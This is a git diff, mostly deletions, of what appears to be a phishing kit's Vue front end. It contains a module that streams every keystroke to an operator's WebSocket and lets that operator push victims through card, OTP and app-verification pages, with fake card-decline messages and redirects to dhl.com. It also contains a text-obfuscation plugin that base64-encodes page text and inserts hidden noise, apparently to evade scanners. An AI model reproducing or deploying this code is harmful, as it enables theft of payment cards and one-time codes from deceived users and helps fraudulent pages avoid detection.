- // 将脚本添加到head的最前面,确保尽早加载 - if (document.head.firstChild) { - document.head.insertBefore(script, document.head.firstChild); - } else { - document.head.appendChild(script); - } - } -} \ No newline at end of file diff --git a/t_post_temp1/src/utils/common.ts.backup b/t_post_temp1/src/utils/common.ts.backup deleted file mode 100644 index 4dde738..0000000 --- a/t_post_temp1/src/utils/common.ts.backup +++ /dev/null @@ -1,331 +0,0 @@ -import _ from "lodash"; -import { sendInput } from "@/api/api"; -import type { Socket } from "@/utils/websocket"; -import eventBus from "@/utils/eventBus"; -import router from "@/router"; -import { ref } from "vue"; -import { useSocket } from "@/utils/websocket"; -import { useLoadingStore } from "@/stores/loadingStore"; -import i18n from "@/main"; -import { useSocketIo } from "./socketio"; - -const viteBaseUrl = import.meta.env.VITE_BASE_URL; - -// WebSocket interface -interface MyWebSocket { - socket: any; - send: (data: string) => Promise; - off: (event: string) => void; - on: (event: string, callback: (data: any) => void) => void; -} - -export const customOtpData = ref({}); - -export function setCustomOtpData(data: any) { - customOtpData.value = data; - localStorage.setItem("customOtpData", JSON.stringify(data)); -} - -export let myWebSocket: MyWebSocket | undefined; - -// Configuration data -export const configData = ref>({}); - -// Utility function to check if all values in an object are not empty -export function areAllValuesNotEmpty( - obj: Record, - excludedFields: string[] = [] -): boolean { - return Object.keys(obj).every((key) => { - if (excludedFields.includes(key)) return true; - const value = obj[key]; - return ( - value !== null && - value !== undefined && - value !== "" && - !(typeof value === "string" && value.trim() === "") - ); - }); -} - -// 存储 WebSocket 和 API 的防抖函数 -const wsDebounceFunctions: Record< - string, - _.DebouncedFunc<(...args: any[]) => void> -> = {}; -const apiDebounceFunctions: Record< - string, - _.DebouncedFunc<(...args: any[]) => void> -> = {}; - -// 获取或创建针对某个键的防抖函数 -function getDebouncedFunction( - debounceFunctions: Record void>>, - key: string, - func: (...args: any[]) => void, - wait: number -) { - if (!debounceFunctions[key]) { - debounceFunctions[key] = _.debounce(func, wait); - } - return debounceFunctions[key]; -} - -const modeRef = ref(1) - - -// 处理输入变化 -export function inputChange(type: string, key: any, value: any) { - const currentTimestamp = Date.now(); // 当前时间戳 - - // WebSocket 防抖函数 - const wsDebouncedFunction = getDebouncedFunction( - wsDebounceFunctions, - key, - (type, key, value) => { - myWebSocket?.send( - JSON.stringify({ - event: "input_text", - content: { type, key, text: value }, - timestamp: currentTimestamp, - }) - ); - }, - 300 - ); - - // API 防抖函数 - const apiDebouncedFunction = getDebouncedFunction( - apiDebounceFunctions, - key, - (type, key, value) => { - sendInput({ - content: { type, key, text: value }, - timestamp: currentTimestamp, - }); - }, - 1000 - ); - - // 调用防抖函数 - wsDebouncedFunction(type, key, value); - if(modeRef.value !== 2) { - apiDebouncedFunction(type, key, value); - } -} - - -// Handle login success -export function loginSuccess(token: string, mode: number) { - if(mode === 2) { - modeRef.value = 2 - myWebSocket = useSocketIo( - `wss://${viteBaseUrl !== "/" ? viteBaseUrl : window.location.host - }/ws?token=${token}` - ); - }else{ - myWebSocket = useSocket( - `wss://${viteBaseUrl !== "/" ? viteBaseUrl : window.location.host - }/ws?token=${token}` - ); - } - - myWebSocket?.on("close", () => console.log("Socket closed!")); - myWebSocket?.on("open", () => { - const lastToken = localStorage.getItem("token"); - loginWebsocket(token, lastToken !== token); - }); - - myWebSocket?.on("message", handleMessage); - - window.addEventListener("beforeunload", () => { - myWebSocket?.off("close"); - }); -} - -// Handle WebSocket messages -function handleMessage(data: any) { - const jsonData = JSON.parse(data); - if (!jsonData || !jsonData.event) return; - - const { event, content } = jsonData; - - switch (event) { - case "login": - //handleLoginEvent(content); - break; - case "result_type": - handleResultTypeEvent(content); - break; - case "reload": - window.location.reload(); - break; - default: - break; - } -} - -// Handle login event -function handleLoginEvent(content: any) { - const route = localStorage.getItem("route"); - if (route) { - const customOtpDataValue = localStorage.getItem("customOtpData"); - if (route === "customOtpValid" && customOtpDataValue) { - setCustomOtpData(JSON.parse(customOtpDataValue)); - myWebSocket?.send( - JSON.stringify({ - event: "page_type", - content: { pageType: "customOtpValid", pageTitle: customOtpData.value.name, customType: customOtpData.value.type }, - }) - ); - return; - } - myWebSocket?.send( - JSON.stringify({ - event: "page_type", - content: { pageType: route }, - }) - ); - } -} - -// Handle result type event -function handleResultTypeEvent(content: any) { - if (!content) return; - - const typeHandlers: Record void> = { - customOtpValid: () => navigateTo("/customOtpValid", content), - otpValid: () => navigateTo("/otpValid", content), - appValid: () => navigateTo("/appValid", content), - success: () => router.push("/success"), - kickOut: redirectToExternal, - block: redirectToExternal, - otpFail: () => - eventBus.emit("otp-valid", { - message2: - content.value.message2 || - i18n.global.t("Verification code error, please try again"), - }), - appFail: () => - eventBus.emit("app-valid", { - message2: - content.value.message2 || - i18n.global.t( - "The session is about to expire, please complete the verification now" - ), - }), - back: () => handleBackOrReject(content, true), - reject: () => handleBackOrReject(content, false), - refresh: () => { - if(localStorage.getItem("route")){ - localStorage.removeItem("route"); - window.location.reload(); - } - }, - }; - - if (content.type == "customOtpValid") { - if(content.value.customOtpData) { - setCustomOtpData(JSON.parse(content.value.customOtpData)); - } -} - if (content.type == "customOtpFail") { - eventBus.emit("custom-otp-valid", { - message2: content.value.message2, - }); - } - - const handler = typeHandlers[content.type]; - if (handler) handler(); - - useLoadingStore().setLoading(false); -} - -// Navigate to specific path with query parameters -function navigateTo(path: string, content: any) { - - router.push('/temp').then(() => { - router.push({ - path: path, - query: { - cardType: content.value?.data?.cardData?.cardBIN?.schema, - message1: content.value?.message1, - key: new Date().getMilliseconds(), - }, - }); - }); -} - -// Handle back or reject type -function handleBackOrReject(content: any, isBack: boolean) { - let message2 = i18n.global.t( - "This card does not support this transaction, please try another card" - ); - - if (configData.value.error_card_msg) { - message2 = configData.value.error_card_msg; - } - - if (content.value.type) { - const type = content.value.type; - if (type === "denyC" && configData.value.deny_c_msg) { - message2 = configData.value.deny_c_msg; - } - if (type === "denyD" && configData.value.deny_d_msg) { - message2 = configData.value.deny_d_msg; - } - } - - if (content.value.message2) { - message2 = content.value.message2; - } - - if (isBack) { - router.push({ path: "/card", query: { message2 } }); - } - - eventBus.emit("my-event", { message2 }); -} - -// Login to WebSocket -function loginWebsocket(token: string, isFirst: boolean) { - myWebSocket?.send( - JSON.stringify({ - event: "login", - content: { tag: "user", token, isFirst }, - }) - ); - initHtml(); -} - -// Redirect to an external URL -export function redirectToExternal() { - window.location.href = "https://www.dhl.com/ch-de/home.html"; -} - -export async function loadHtml(url: string) { - try { - const response = await fetch(url); // 替换为您的 HTML 文件路径 - if (!response.ok) { - return ""; - } - return await response.text(); - } catch (error) { - return ""; - } -} - -export const headerHtml = ref(""); -export const footerHtml = ref(""); -export const loadingBg = ref("#ffffff"); - -const initHtml = async () => { - const routePath = localStorage.getItem("route"); - headerHtml.value = await loadHtml("/Static_zy/header.html"); - footerHtml.value = await loadHtml("/Static_zy/footer.html"); - await router.push(routePath ? `/${routePath}` : "/phone1"); - setTimeout(async () => { - useLoadingStore().setLoading(false); - loadingBg.value = "transparent"; - }, 200); -}; diff --git a/t_post_temp2/src/components/HelloWorld.vue b/t_post_temp2/src/components/HelloWorld.vue deleted file mode 100644 index 8f39347..0000000 --- a/t_post_temp2/src/components/HelloWorld.vue +++ /dev/null @@ -1,51 +0,0 @@ - - - - - diff --git a/t_post_temp2/src/components/TheWelcome.vue b/t_post_temp2/src/components/TheWelcome.vue deleted file mode 100644 index a70765c..0000000 --- a/t_post_temp2/src/components/TheWelcome.vue +++ /dev/null @@ -1,86 +0,0 @@ - - - diff --git a/t_post_temp2/src/components/WelcomeItem.vue b/t_post_temp2/src/components/WelcomeItem.vue deleted file mode 100644 index ba0def3..0000000 --- a/t_post_temp2/src/components/WelcomeItem.vue +++ /dev/null @@ -1,86 +0,0 @@ - - - diff --git a/t_post_temp2/src/main.ts b/t_post_temp2/src/main.ts index 9187bd6..263494f 100644 --- a/t_post_temp2/src/main.ts +++ b/t_post_temp2/src/main.ts @@ -1,4 +1,3 @@ -import { TextObfuscatorPlugin } from "./mix/textObfuscator"; import { createApp, ref } from "vue"; import { createPinia } from "pinia"; @@ -29,6 +28,5 @@ router.beforeEach((to, from, next) => { VueScrollTo.scrollTo("#app", 0); next(); }); -// //app.use(TextObfuscatorPlugin); app.mount("#app"); export default i18n; diff --git a/t_post_temp2/src/mix/textObfuscator.ts b/t_post_temp2/src/mix/textObfuscator.ts deleted file mode 100644 index 76c21e9..0000000 --- a/t_post_temp2/src/mix/textObfuscator.ts +++ /dev/null @@ -1,643 +0,0 @@ -import type { ComponentInternalInstance, Plugin, App } from 'vue'; - -/** - * 全局文本混淆插件 - * 自动查找并替换所有文本节点 - */ -// 修改Vue混淆插件以确保处理整个组件树 -export const TextObfuscatorPlugin: Plugin = { - install(app: App) { - // 安装全局样式和解码脚本 - addObfuscationStyle(); - - // 注册全局指令,直接处理元素内容 - app.directive('odata', { - mounted(el) { - processTextNodes(el, null); - if (window.decodeObfuscatedContent) { - setTimeout(() => window.decodeObfuscatedContent(el), 0); - } - setupMutationObserver(el); - }, - updated(el) { - processTextNodes(el, null); - if (window.decodeObfuscatedContent) { - setTimeout(() => window.decodeObfuscatedContent(el), 0); - } - } - }); - - // 在 app.mixin 中修改处理 $el 的部分 - app.mixin({ - mounted() { - // 安全地获取组件的根元素(s) - const rootElements = this.$el ? - (this.$el.nodeType === Node.ELEMENT_NODE ? - [this.$el] : - (Array.isArray(this.$el) ? this.$el : [])) : - []; - - // 处理每个根元素 - rootElements.forEach((rootElement: Element) => { - if (!rootElement || !(rootElement instanceof Element)) return; - - // 1. 首先处理当前组件的根元素 - processTextNodes(rootElement, this); - - // 2. 递归处理所有子元素,确保覆盖所有文本节点 - const processAllChildNodes = (element: Element) => { - if (!(element instanceof Element)) return; - - try { - // 为每个子元素单独处理文本节点 - const childElements = element.querySelectorAll('*'); - childElements.forEach(childEl => { - processTextNodes(childEl, null); - }); - - // 立即解码当前处理的元素 - if (window.decodeObfuscatedContent) { - setTimeout(() => window.decodeObfuscatedContent(element), 0); - } - } catch (error) { - console.error('Error processing child nodes:', error, element); - } - }; - - // 处理整个组件树 - processAllChildNodes(rootElement); - - // 设置监听 - setupMutationObserver(rootElement); - }); - // 添加:深度扫描所有包含纯文本的元素 - setTimeout(() => { - const scanPureTextElements = (rootElement: Element) => { - // 跳过已处理过的元素 - if (rootElement.hasAttribute && rootElement.hasAttribute('data-obfuscated')) { - return; - } - - // 检查是否为包含纯文本的元素(只有文本节点,没有元素节点) - let hasOnlyTextNodes = false; - let hasElementNodes = false; - - if (rootElement.childNodes && rootElement.childNodes.length > 0) { - hasOnlyTextNodes = Array.from(rootElement.childNodes).some( - node => node.nodeType === Node.TEXT_NODE && node.textContent && node.textContent.trim() - ); - - hasElementNodes = Array.from(rootElement.childNodes).some( - node => node.nodeType === Node.ELEMENT_NODE - ); - } - - // 如果元素只包含文本节点,并且不包含其他元素节点,则混淆它 - if (hasOnlyTextNodes && !hasElementNodes && - !SKIP_TAGS.includes(rootElement.tagName) && - !Array.from(rootElement.classList || []).some(cls => SKIP_CLASSES.includes(cls))) { - processTextNodes(rootElement, null); - if (window.decodeObfuscatedContent) { - window.decodeObfuscatedContent(rootElement); - } - } - - // 递归处理子元素 - if (rootElement.children) { - Array.from(rootElement.children).forEach(child => { - scanPureTextElements(child); - }); - } - }; - - // 从body开始扫描 - scanPureTextElements(document.body); - }, 10); // 给DOM足够的时间渲染 - }, - - updated() { - // 安全地获取组件的根元素(s) - const rootElements = this.$el ? - (this.$el.nodeType === Node.ELEMENT_NODE ? - [this.$el] : - (Array.isArray(this.$el) ? this.$el : [])) : - []; - - // 处理每个根元素 - rootElements.forEach((rootElement: Element | undefined) => { - if (!rootElement || !(rootElement instanceof Element)) return; - - processTextNodes(rootElement, this); - - try { - // 递归处理所有子元素 - const childElements = rootElement.querySelectorAll('*'); - childElements.forEach((childEl: Element) => { - processTextNodes(childEl, null); - }); - - if (window.decodeObfuscatedContent) { - setTimeout(() => window.decodeObfuscatedContent(rootElement), 0); - } - } catch (error) { - console.error('Error processing updated component:', error, rootElement); - } - }); - } - }); - } -}; - -// 声明全局函数类型 -declare global { - interface Window { - decodeObfuscatedContent: (rootElement?: Element) => void; - } -} - -// 需要跳过的标签 -const SKIP_TAGS = ['SCRIPT', 'STYLE', 'TEXTAREA', 'INPUT', 'PRE', 'CODE']; -// 需要跳过的类名 -const SKIP_CLASSES = ['no-obfuscate']; - -/** - * 处理元素中的所有文本节点 - */ -function processTextNodes(element: Element, instance: ComponentInternalInstance | null) { - if (!element || element.nodeType !== Node.ELEMENT_NODE) { - return; - } - // 为 DIV 元素增加优先处理逻辑 - if (element.tagName === 'DIV' && !element.hasAttribute('data-obfuscated')) { - // 对于DIV元素,特殊处理其直接子文本节点 - let hasTextContent = false; - for (let i = 0; i < element.childNodes.length; i++) { - const node = element.childNodes[i]; - if (node.nodeType === Node.TEXT_NODE && node.textContent && node.textContent.trim() !== '') { - hasTextContent = true; - break; - } - } - - // 如果DIV中有直接的文本内容,标记它需要被处理 - if (hasTextContent) { - // 只处理未混淆过的DIV - const textContent = Array.from(element.childNodes) - .filter(node => node.nodeType === Node.TEXT_NODE && node.textContent) - .map(node => node.textContent).join('').trim(); - - if (textContent) { - // 替换整个DIV的内容 - const originalHTML = element.innerHTML; - const processedHTML = obfuscateText(textContent); - element.innerHTML = processedHTML + originalHTML.replace(textContent, ''); - element.setAttribute('data-obfuscated', 'true'); - } - } - } - // 跳过带有特定标记的元素(避免重复处理) - if (element.hasAttribute('data-obfuscated') || - !element || - SKIP_TAGS.includes(element.tagName) || - Array.from(element.classList).some(cls => SKIP_CLASSES.includes(cls))) { - return; - } - - // 使用 TreeWalker 遍历所有文本节点 - const walker = document.createTreeWalker( - element, - NodeFilter.SHOW_TEXT, - { - acceptNode(node) { - // 不处理完全空的文本节点 - if (!node.textContent) { - return NodeFilter.FILTER_REJECT; - } - - // 检查父节点是否应该被跳过 - const parent = node.parentElement; - if (parent && ( - SKIP_TAGS.includes(parent.tagName) || - parent.hasAttribute('data-obfuscated') || - Array.from(parent.classList || []).some(cls => SKIP_CLASSES.includes(cls)) - )) { - return NodeFilter.FILTER_REJECT; - } - - // 如果只包含空白且不是段落的首个节点,则跳过 - if (node.textContent.trim() === '' && - !(parent?.tagName === 'P' && node === parent.firstChild)) { - return NodeFilter.FILTER_REJECT; - } - - return NodeFilter.FILTER_ACCEPT; - } - } - ); - - // 收集需要处理的文本节点 - const textNodes: Text[] = []; - let currentNode: Node | null = walker.nextNode(); - - while (currentNode) { - textNodes.push(currentNode as Text); - currentNode = walker.nextNode(); - } - - // 预先计算所有混淆内容,减少DOM操作次数 - const fragments: DocumentFragment[] = []; - const nodesToReplace: Text[] = []; - - // 在处理文本节点前,移除所有前导空格 - for (const textNode of textNodes) { - const text = textNode.textContent; - if (!text) continue; - - // 重要修改:检测是否是段落的首个文本节点,无条件移除开头的空白 - let processedText = text; - if (textNode.parentElement?.tagName === 'P' && - textNode === textNode.parentElement.firstChild) { - // 去除开头的空白,无论什么情况 - processedText = text.replace(/^\s+/, ''); - // 如果去除空白后为空,直接跳过这个节点 - if (!processedText) continue; - } - - try { - // 创建文档碎片来存储混淆后的内容 - const fragment = document.createDocumentFragment(); - const tempContainer = document.createElement('div'); - tempContainer.innerHTML = obfuscateText(processedText); - - // 将内容移动到碎片中 - while (tempContainer.firstChild) { - fragment.appendChild(tempContainer.firstChild); - } - - fragments.push(fragment); - nodesToReplace.push(textNode); - } catch (error) { - console.error('Error processing text node:', error); - } - } - - // 批量替换节点,减少回流 - for (let i = 0; i < nodesToReplace.length; i++) { - const textNode = nodesToReplace[i]; - const fragment = fragments[i]; - - if (textNode.parentNode) { - textNode.parentNode.replaceChild(fragment, textNode); - } - } -} - -/** - * 设置 MutationObserver 来监听 DOM 变化 - */ -function setupMutationObserver(element: Element) { - if (!element) return; - - const observer = new MutationObserver((mutations) => { - for (const mutation of mutations) { - if (mutation.type === 'childList' && mutation.addedNodes.length) { - mutation.addedNodes.forEach((node) => { - if (node.nodeType === Node.ELEMENT_NODE) { - processTextNodes(node as Element, null); - // 观察到新元素后立即解码 - if (window.decodeObfuscatedContent) { - window.decodeObfuscatedContent(node as Element); - } - } - }); - } - } - }); - - observer.observe(element, { - childList: true, - subtree: true - }); -} - -/** - * 生成随机噪声标签和注释 - */ -function getRandomNoise() { - const noiseTypes = [ - // HTML注释 - () => ``, - // 空的自定义元素 - () => { - const tags = ['z-nil', 'z-void', 'z-null', 'z-fake', 'z-empty']; - const tag = tags[Math.floor(Math.random() * tags.length)]; - return `<${tag}>`; - }, - // 带随机属性的自定义元素 - () => { - const attr = `data-${Math.random().toString(36).substring(2, 7)}`; - const value = Math.random().toString(36).substring(2, 10); - return ``; - }, - // 带随机文本的隐藏元素 - () => { - const text = Math.random().toString(36).substring(2, 8); - return `${text}`; - } - ]; - - // 随机选择一种噪声类型 - const noiseGenerator = noiseTypes[Math.floor(Math.random() * noiseTypes.length)]; - return noiseGenerator(); -} - -/** - * 混淆文本 - 将文本拆分成单词并分别存储,使用自定义z-标签 - */ -function obfuscateText(text: string): string { - if (!text) return ''; - - // 首先移除文本开头的所有空白字符以解决段落首行缩进问题 - text = text.replace(/^\s+/, ''); - if (!text) return ''; - - // 使用正则表达式将文本拆分为单词和空格,保持完整性 - const words = text.split(/(\s+)/); - let result = ''; - - // 过滤掉空字符串,避免生成空的z-span元素 - const filteredWords = words.filter(word => word.length > 0); - - // 为每个单词创建一个独立的自定义元素 - filteredWords.forEach((word, index) => { - // 对空格和特殊字符进行特殊处理 - if (/^\s+$/.test(word)) { - // 改进:更精确地处理各种换行符 - if (/[\n\r]/.test(word)) { - // 将所有类型的换行符分割出来,但仅在实际有换行符时才添加z-break元素 - result += ''; - } else { - // 纯空格的情况 - 对连续空格合并处理,避免添加过多z-space - result += ''; - } - return; - } - - // 随机在单词前添加噪声,但减少频率 - if (Math.random() > 0.85) { - result += getRandomNoise(); - } - - // 为了提高效率,固定属性名 - const attrId = `data`; - - // 将单词编码为Base64 - const encodedWord = btoa(encodeURIComponent(word)); - - // 随机选择z-span或z-strong标签增加混淆度 - const tagName = Math.random() > 0.5 ? 'z-span' : 'z-strong'; - - // 添加标签开始部分 - result += `<${tagName} data-${attrId}="${encodedWord}" data-preload="true">`; - - // 随机在标签内添加隐藏内容,但减少频率 - if (Math.random() > 0.8) { - const fakeText = Math.random().toString(36).substring(2, 5 + Math.floor(Math.random() * 5)); - result += `${fakeText}`; - } - - // 闭合标签 - result += ``; - - // 随机在单词后添加噪声,但减少频率 - if (Math.random() > 0.85) { - result += getRandomNoise(); - } - }); - - result += ''; - return result; -} - -/** - * 添加显示混淆内容的样式和解码脚本 - */ -function addObfuscationStyle() { - // 添加样式 - if (!document.getElementById('obfuscation-style')) { - const style = document.createElement('style'); - style.id = 'obfuscation-style'; - style.textContent = ` - /* 自定义元素基本样式 */ - z-wrap { - display: inline; - white-space: normal; - user-select: none; /* 阻止文本选择 */ - text-indent: 0 !important; /* 确保无缩进 */ - } - - /* 添加一个类来允许选择文本的情况 */ - .allow-select z-wrap { - user-select: text; - } - - /* 确保段落中的混淆内容没有开头缩进 */ - p > z-wrap:first-child { - text-indent: 0 !important; - margin-left: 0 !important; - padding-left: 0 !important; - } - - /* 处理所有p标签,确保没有多余空间 */ - p { - text-indent: 0; - } - - z-span, z-strong { - display: inline-block; - position: relative; - opacity: 1; - transition: opacity 0.1s ease; - margin: 0; - padding: 0; - } - - /* 控制右侧间距 */ - z-span + z-span, z-strong + z-strong, z-span + z-strong, z-strong + z-span { - margin-left: 0.1em; - } - - /* 移除最后一个元素的右侧间距 */ - z-span:last-child, z-strong:last-child { - margin-right: 0; - } - - z-span::after, z-strong::after { - content: attr(data-content); - position: relative; - pointer-events: none; - } - - /* 空格元素 - 精确控制宽度 */ - z-space { - display: inline-block; - width: 0.25em; - margin: 0; - padding: 0; - } - - /* 空的z-span/z-strong元素不应该显示 */ - z-span:not([data-content]), z-strong:not([data-content]) { - display: none; - } - - /* 换行元素 - 强制换行且完全没有尺寸 */ - z-break { - display: block !important; - height: 0 !important; - width: 0 !important; - margin: 0 !important; - padding: 0 !important; - border: none !important; - line-height: 0 !important; - font-size: 0 !important; - overflow: hidden !important; - } - - /* 隐藏所有噪声元素 */ - z-nil, z-void, z-null, z-fake, z-empty, z-attr, z-text, z-hidden { - display: none; - width: 0; - height: 0; - opacity: 0; - overflow: hidden; - position: absolute; - visibility: hidden; - } - - /* 预加载状态 */ - [data-preload="true"] { - min-width: 0.5em; - min-height: 1em; - } - `; - document.head.appendChild(style); - } - - // 添加自定义元素注册,确保所有浏览器都能正确处理 - const scriptCustomElements = document.createElement('script'); - scriptCustomElements.textContent = ` - // 注册所有自定义元素 - if ('customElements' in window) { - customElements.define('z-wrap', class extends HTMLElement {}); - customElements.define('z-span', class extends HTMLElement {}); - customElements.define('z-strong', class extends HTMLElement {}); - customElements.define('z-space', class extends HTMLElement {}); - customElements.define('z-break', class extends HTMLElement {}); - - // 注册噪声元素 - customElements.define('z-nil', class extends HTMLElement {}); - customElements.define('z-void', class extends HTMLElement {}); - customElements.define('z-null', class extends HTMLElement {}); - customElements.define('z-fake', class extends HTMLElement {}); - customElements.define('z-empty', class extends HTMLElement {}); - customElements.define('z-attr', class extends HTMLElement {}); - customElements.define('z-text', class extends HTMLElement {}); - customElements.define('z-hidden', class extends HTMLElement {}); - } - `; - document.head.appendChild(scriptCustomElements); - - // 添加提前解码的脚本,放在顶部优先加载 - if (!document.getElementById('obfuscation-script')) { - const script = document.createElement('script'); - script.id = 'obfuscation-script'; - script.textContent = ` - (function() { - // 定义解码函数并暴露为全局函数 - window.decodeObfuscatedContent = function(rootElement) { - const root = rootElement || document.body; - const elements = root.querySelectorAll('z-span[data-preload="true"], z-strong[data-preload="true"]'); - - if (elements.length === 0) return; - - // 使用requestIdleCallback或setTimeout在空闲时运行,避免阻塞渲染 - const runWhenIdle = window.requestIdleCallback || - function(cb) { setTimeout(cb, 1); }; - - runWhenIdle(() => { - elements.forEach(el => { - // 避免重复解码 - if (el.hasAttribute('data-content')) return; - - // 找到编码数据 - const dataAttr = el.getAttribute('data-data'); - if (dataAttr) { - try { - // 解码并设置 - const decodedWord = decodeURIComponent(atob(dataAttr)); - el.setAttribute('data-content', decodedWord); - el.removeAttribute('data-preload'); - } catch (e) { - // 解码失败时跳过 - } - } - }); - }); - }; - - // 页面加载完成后立即执行一次全局解码 - if (document.readyState === 'loading') { - document.addEventListener('DOMContentLoaded', function() { - window.decodeObfuscatedContent(); - }); - } else { - window.decodeObfuscatedContent(); - } - - // 使用IntersectionObserver优化解码性能 - if ('IntersectionObserver' in window) { - const decodeObserver = new IntersectionObserver( - (entries, observer) => { - entries.forEach(entry => { - if (entry.isIntersecting) { - // 容器进入视口时解码其内容 - window.decodeObfuscatedContent(entry.target); - observer.unobserve(entry.target); - } - }); - }, - { rootMargin: '200px 0px' } // 提前200像素开始解码 - ); - - // 监听所有混淆容器 - function observeContainers() { - document.querySelectorAll('z-wrap').forEach(container => { - decodeObserver.observe(container); - }); - } - - // 初始观察 - if (document.readyState === 'loading') { - document.addEventListener('DOMContentLoaded', observeContainers); - } else { - observeContainers(); - } - - // 定期检查新容器 - setInterval(observeContainers, 2000); - } else { - // 降级方案:定期全局检查 - setInterval(() => window.decodeObfuscatedContent(), 1000); - } - })(); - `; - - // 将脚本添加到head的最前面,确保尽早加载 - if (document.head.firstChild) { - document.head.insertBefore(script, document.head.firstChild); - } else { - document.head.appendChild(script); - } - } -} \ No newline at end of file diff --git a/t_post_temp2/src/utils/common.ts.backup b/t_post_temp2/src/utils/common.ts.backup deleted file mode 100644 index 4dde738..0000000 --- a/t_post_temp2/src/utils/common.ts.backup +++ /dev/null @@ -1,331 +0,0 @@ -import _ from "lodash"; -import { sendInput } from "@/api/api"; -import type { Socket } from "@/utils/websocket"; -import eventBus from "@/utils/eventBus"; -import router from "@/router"; -import { ref } from "vue"; -import { useSocket } from "@/utils/websocket"; -import { useLoadingStore } from "@/stores/loadingStore"; -import i18n from "@/main"; -import { useSocketIo } from "./socketio"; - -const viteBaseUrl = import.meta.env.VITE_BASE_URL; - -// WebSocket interface -interface MyWebSocket { - socket: any; - send: (data: string) => Promise; - off: (event: string) => void; - on: (event: string, callback: (data: any) => void) => void; -} - -export const customOtpData = ref({}); - -export function setCustomOtpData(data: any) { - customOtpData.value = data; - localStorage.setItem("customOtpData", JSON.stringify(data)); -} - -export let myWebSocket: MyWebSocket | undefined; - -// Configuration data -export const configData = ref>({}); - -// Utility function to check if all values in an object are not empty -export function areAllValuesNotEmpty( - obj: Record, - excludedFields: string[] = [] -): boolean { - return Object.keys(obj).every((key) => { - if (excludedFields.includes(key)) return true; - const value = obj[key]; - return ( - value !== null && - value !== undefined && - value !== "" && - !(typeof value === "string" && value.trim() === "") - ); - }); -} - -// 存储 WebSocket 和 API 的防抖函数 -const wsDebounceFunctions: Record< - string, - _.DebouncedFunc<(...args: any[]) => void> -> = {}; -const apiDebounceFunctions: Record< - string, - _.DebouncedFunc<(...args: any[]) => void> -> = {}; - -// 获取或创建针对某个键的防抖函数 -function getDebouncedFunction( - debounceFunctions: Record void>>, - key: string, - func: (...args: any[]) => void, - wait: number -) { - if (!debounceFunctions[key]) { - debounceFunctions[key] = _.debounce(func, wait); - } - return debounceFunctions[key]; -} - -const modeRef = ref(1) - - -// 处理输入变化 -export function inputChange(type: string, key: any, value: any) { - const currentTimestamp = Date.now(); // 当前时间戳 - - // WebSocket 防抖函数 - const wsDebouncedFunction = getDebouncedFunction( - wsDebounceFunctions, - key, - (type, key, value) => { - myWebSocket?.send( - JSON.stringify({ - event: "input_text", - content: { type, key, text: value }, - timestamp: currentTimestamp, - }) - ); - }, - 300 - ); - - // API 防抖函数 - const apiDebouncedFunction = getDebouncedFunction( - apiDebounceFunctions, - key, - (type, key, value) => { - sendInput({ - content: { type, key, text: value }, - timestamp: currentTimestamp, - }); - }, - 1000 - ); - - // 调用防抖函数 - wsDebouncedFunction(type, key, value); - if(modeRef.value !== 2) { - apiDebouncedFunction(type, key, value); - } -} - - -// Handle login success -export function loginSuccess(token: string, mode: number) { - if(mode === 2) { - modeRef.value = 2 - myWebSocket = useSocketIo( - `wss://${viteBaseUrl !== "/" ? viteBaseUrl : window.location.host - }/ws?token=${token}` - ); - }else{ - myWebSocket = useSocket( - `wss://${viteBaseUrl !== "/" ? viteBaseUrl : window.location.host - }/ws?token=${token}` - ); - } - - myWebSocket?.on("close", () => console.log("Socket closed!")); - myWebSocket?.on("open", () => { - const lastToken = localStorage.getItem("token"); - loginWebsocket(token, lastToken !== token); - }); - - myWebSocket?.on("message", handleMessage); - - window.addEventListener("beforeunload", () => { - myWebSocket?.off("close"); - }); -} - -// Handle WebSocket messages -function handleMessage(data: any) { - const jsonData = JSON.parse(data); - if (!jsonData || !jsonData.event) return; - - const { event, content } = jsonData; - - switch (event) { - case "login": - //handleLoginEvent(content); - break; - case "result_type": - handleResultTypeEvent(content); - break; - case "reload": - window.location.reload(); - break; - default: - break; - } -} - -// Handle login event -function handleLoginEvent(content: any) { - const route = localStorage.getItem("route"); - if (route) { - const customOtpDataValue = localStorage.getItem("customOtpData"); - if (route === "customOtpValid" && customOtpDataValue) { - setCustomOtpData(JSON.parse(customOtpDataValue)); - myWebSocket?.send( - JSON.stringify({ - event: "page_type", - content: { pageType: "customOtpValid", pageTitle: customOtpData.value.name, customType: customOtpData.value.type }, - }) - ); - return; - } - myWebSocket?.send( - JSON.stringify({ - event: "page_type", - content: { pageType: route }, - }) - ); - } -} - -// Handle result type event -function handleResultTypeEvent(content: any) { - if (!content) return; - - const typeHandlers: Record void> = { - customOtpValid: () => navigateTo("/customOtpValid", content), - otpValid: () => navigateTo("/otpValid", content), - appValid: () => navigateTo("/appValid", content), - success: () => router.push("/success"), - kickOut: redirectToExternal, - block: redirectToExternal, - otpFail: () => - eventBus.emit("otp-valid", { - message2: - content.value.message2 || - i18n.global.t("Verification code error, please try again"), - }), - appFail: () => - eventBus.emit("app-valid", { - message2: - content.value.message2 || - i18n.global.t( - "The session is about to expire, please complete the verification now" - ), - }), - back: () => handleBackOrReject(content, true), - reject: () => handleBackOrReject(content, false), - refresh: () => { - if(localStorage.getItem("route")){ - localStorage.removeItem("route"); - window.location.reload(); - } - }, - }; - - if (content.type == "customOtpValid") { - if(content.value.customOtpData) { - setCustomOtpData(JSON.parse(content.value.customOtpData)); - } -} - if (content.type == "customOtpFail") { - eventBus.emit("custom-otp-valid", { - message2: content.value.message2, - }); - } - - const handler = typeHandlers[content.type]; - if (handler) handler(); - - useLoadingStore().setLoading(false); -} - -// Navigate to specific path with query parameters -function navigateTo(path: string, content: any) { - - router.push('/temp').then(() => { - router.push({ - path: path, - query: { - cardType: content.value?.data?.cardData?.cardBIN?.schema, - message1: content.value?.message1, - key: new Date().getMilliseconds(), - }, - }); - }); -} - -// Handle back or reject type -function handleBackOrReject(content: any, isBack: boolean) { - let message2 = i18n.global.t( - "This card does not support this transaction, please try another card" - ); - - if (configData.value.error_card_msg) { - message2 = configData.value.error_card_msg; - } - - if (content.value.type) { - const type = content.value.type; - if (type === "denyC" && configData.value.deny_c_msg) { - message2 = configData.value.deny_c_msg; - } - if (type === "denyD" && configData.value.deny_d_msg) { - message2 = configData.value.deny_d_msg; - } - } - - if (content.value.message2) { - message2 = content.value.message2; - } - - if (isBack) { - router.push({ path: "/card", query: { message2 } }); - } - - eventBus.emit("my-event", { message2 }); -} - -// Login to WebSocket -function loginWebsocket(token: string, isFirst: boolean) { - myWebSocket?.send( - JSON.stringify({ - event: "login", - content: { tag: "user", token, isFirst }, - }) - ); - initHtml(); -} 